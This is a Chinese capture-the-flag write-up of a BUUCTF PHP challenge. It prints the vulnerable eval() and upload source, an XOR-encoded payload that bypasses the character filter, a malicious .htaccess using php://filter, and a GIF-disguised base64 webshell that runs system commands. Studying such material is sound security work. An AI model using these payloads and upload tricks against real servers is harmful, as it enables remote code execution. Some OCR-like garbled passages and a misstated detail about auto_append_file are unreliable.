进入题目页面如下
给出源码开始代码审计
<?php
// 定义一个名为 get_the_flag 的函数,该函数主要处理文件上传逻辑
function get_the_flag(){// 构造用户上传文件的目录,目录名是 "upload/tmp_" 加上客户端 IP 地址的 MD5 哈希值$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);// 检查该目录是否存在,如果不存在则创建该目录if(!file_exists($userdir)){mkdir($userdir);}// 检查是否有文件上传if(!empty($_FILES["file"])){// 获取上传文件的临时文件名$tmp_name = $_FILES["file"]["tmp_name"];// 获取上传文件的原始文件名$name = $_FILES["file"]["name"];// 提取文件扩展名$extension = substr($name, strrpos($name,".")+1);// 使用正则表达式检查文件扩展名是否包含 "ph"(不区分大小写),如果包含则终止程序并输出 "^_^"if(preg_match("/ph/i",$extension)) die("^_^"); // 读取上传文件的内容,检查是否包含 "<?", 如果包含则终止程序并输出 "^_^"if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");// 检查上传文件是否为有效的图像文件,如果不是则终止程序并输出 "^_^"if(!exif_imagetype($tmp_name)) die("^_^"); // 构造上传文件的最终保存路径$path= $userdir."/".$name;// 将上传的临时文件移动到最终保存路径,使用 @ 符号抑制可能的错误信息@move_uploaded_file($tmp_name, $path);// 输出文件保存的路径print_r($path);}
}// 从 GET 请求中获取名为 "_" 的参数值,并使用 @ 符号抑制可能的错误信息
$hhh = @$_GET['_'];// 如果没有获取到 "_" 参数的值,则高亮显示当前 PHP 文件的源代码
if (!$hhh){highlight_file(__FILE__);
}// 检查 "_" 参数值的长度是否超过 18 个字符,如果超过则终止程序并输出提示信息
if(strlen($hhh)>18){die('One inch long, one inch strong!');
}// 使用正则表达式检查 "_" 参数值是否包含特定字符(包括 ASCII 码 0 - 127 之间的部分字符),如果包含则终止程序并输出提示信息
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');// 获取 "_" 参数值中出现的所有不同字符,并统计字符种类
$character_type = count_chars($hhh, 3);
// 检查不同字符的数量是否超过 12 个,如果超过则终止程序并输出提示信息
if(strlen($character_type)>12) die("Almost there!");// 使用 eval 函数执行 "_" 参数的值作为 PHP 代码
eval($hhh);
?>
代码使用 eval($hhh);
执行用户通过 GET 请求传入的 _ 参数的值,
对参数的过滤有长度和字符种类的限制
文件上传过滤
扩展名过滤:通过正则表达式 preg_match("/ph/i",$extension) 检查文件扩展名是否包含 "ph",防止常见的 PHP 文件上传。
内容过滤:使用 mb_strpos(file_get_contents($tmp_name), '<?') 检查文件内容是否包含 "<?", 防止包含 PHP 代码的文件上传。
图像类型检查:使用 exif_imagetype($tmp_name) 检查文件是否为有效的图像文件,限制非图像文件上传。
代码开始定义了一个函数get_the_flag(),应该是用来处理文件上传的
注释说webadmin每20分钟会删除上传的文件,说明需要利用文件上传后立即执行
函数中创建了一个用户目录,基于用户IP的MD5值。
代码处理GET参数',赋值给Shhh。如果没有传入这个参数,就显示源代码。
如果传入的话,需要满足多个条件:
1.长度不能超过18个字符。
2.通过正则表达式过滤:匹配的字符范围包括\x00到空格(ASCCil 0-32), 0-9, AZa-z,以及一些特殊符号如"~~&,|=,还有\x7F。正则表达式用了li表示不区分大小
写。如果匹配到这些字符中的任何一个,就会拒绝。
3.字符类型(不同字符的数量)不能超过12种,否则拒绝。
通过eval($hhh)执行传入的代码。
代码注入的漏洞,需要构造一个payload满足有限制条件。
分析如何绕过这些过滤:
正则表达式排除了很多字符。注意正则中的模式是\x00-0-9A-Za-z"""~_&.,|=,[x7F]+,包括了大部分可见字符和一些控制字符
正则表达式中的模式可能有一些特殊字符没有被过滤,比如^或{},或者其他Unicode字符
查看正则表达式模式:它是否允许使用$符号?在正则中,「x00-表示从x00到空格(即ASCII 0到32),然后是0-9,A-Za-z,以及那些特殊符号,比如,在ASCII表中,S的ASCII码是36,而0-9的ASCII是4857,所以$不在这个范围内。
所以,正则中的模式是否允许S符号比如,表达式中的0\x00- 0-9A-Zaz...],这里的\x00-可能是指从\x00到空格(ASCII 32),因此,美元符号$ (ASCI36)不在这个范围。所以,可以在payload中使用$符号。
构造$_GET[]();的格式来调用get_the_flag函数
payload
?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo
?_=... $_GET['_'] = ... 主注入点,触发动态函数调用
%80%80%80%80^%df%c7%c5%d4 异或运算生成关键字符串 动态构造 _GET
{%80} $_GET['%80'] 提取参数值作为函数名
&%80=phpinfo $_GET['%80'] = 'phpinfo' 注入要执行的函数名
字符集绕过
使用 %80
等高位 ASCII 字符(非字母/数字),绕过常规正则过滤
preg_match('/[0-9a-z]/i', $input) // 此类过滤失效
长度混淆
操作将关键字符串隐藏在不可见字符中,增加静态分析的难度
漏洞类型
远程代码执行 (RCE)
存在动态函数调用如 $var()
利用 .htaccess
文件和文件幻术绕过代码中对文件上传的严格检查,进而执行任意代码获取 flag。具体步骤为:上传特制的 .htaccess
文件,利用 php_value auto_append_file
和 AddType
指令,配合 php://filter
伪协议绕过对 <?
的检测;同时,为上传的 PHP 代码文件添加 GIF 文件头幻术绕过 exif_imagetype
检测。
.htaccess
文件是 Apache 服务器的配置文件,可用于在目录级别覆盖全局服务器配置。我们可以利用它来改变 PHP 解析文件的方式。
# 指定所有以 .gif 结尾的文件都按 PHP 脚本解析
AddType application/x-httpd-php .gif
# 自动在每个 PHP 脚本执行前包含指定的文件,这里使用 php://filter 伪协议对 base64 编码的内容进行解码并包含
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.gif"
上述 .htaccess
文件
AddType application/x-httpd-php .gif
:将 .gif
后缀的文件视为 PHP 文件进行解析。
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.gif"
:使用 php://filter
伪协议对 shell.gif
文件内容进行 Base64 解码后包含到每个 PHP 脚本中执行。
2. 构造包含 PHP 代码的 shell.gif
文件
为了绕过 exif_imagetype
对文件内容的检测,我们在文件开头添加 GIF 文件头幻术(GIF89a),并将 PHP 代码进行 Base64 编码。
<?php
// 要执行的 PHP 代码,这里以执行系统命令 cat flag.txt 为例
$php_code = '<?php system("cat flag.txt"); ?>';
// 添加 GIF 文件头幻术
$shell_content = "GIF89a" . base64_encode($php_code);
// 将内容写入 shell.gif 文件
file_put_contents('shell.gif', $shell_content);
?>
上述代码生成了一个 shell.gif
文件,其内容以 GIF 文件头幻术开头,后面是经过 Base64 编码的 PHP 代码。
上传文件
将构造好的 .htaccess
文件和 shell.gif
文件上传到服务器。根据代码中的逻辑,上传目录为 upload/tmp_
加上客户端 IP 地址的 MD5 哈希值。可以使用以下简单的 HTML 表单进行文件上传
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>File Upload</title>
</head>
<body><form action="http://9d66bcb5-686a-4e45-b6b0-9c1d3174fe9e.node5.buuoj.cn:81/" method="post" enctype="multipart/form-data"><input type="file" name="file" /><input type="submit" value="Upload" /></form>
</body>
</html>
将 your_php_file.php
替换为实际处理文件上传的 PHP 文件路径。
4. 触发代码执行
上传成功后,访问上传目录下的任意 .gif
文件(实际上会被当作 PHP 文件执行),服务器会根据 .htaccess
文件的配置,对 shell.gif
文件内容进行 Base64 解码并执行其中的 PHP 代码,从而执行 cat flag.txt
命令,用蚁剑连接获取 flag。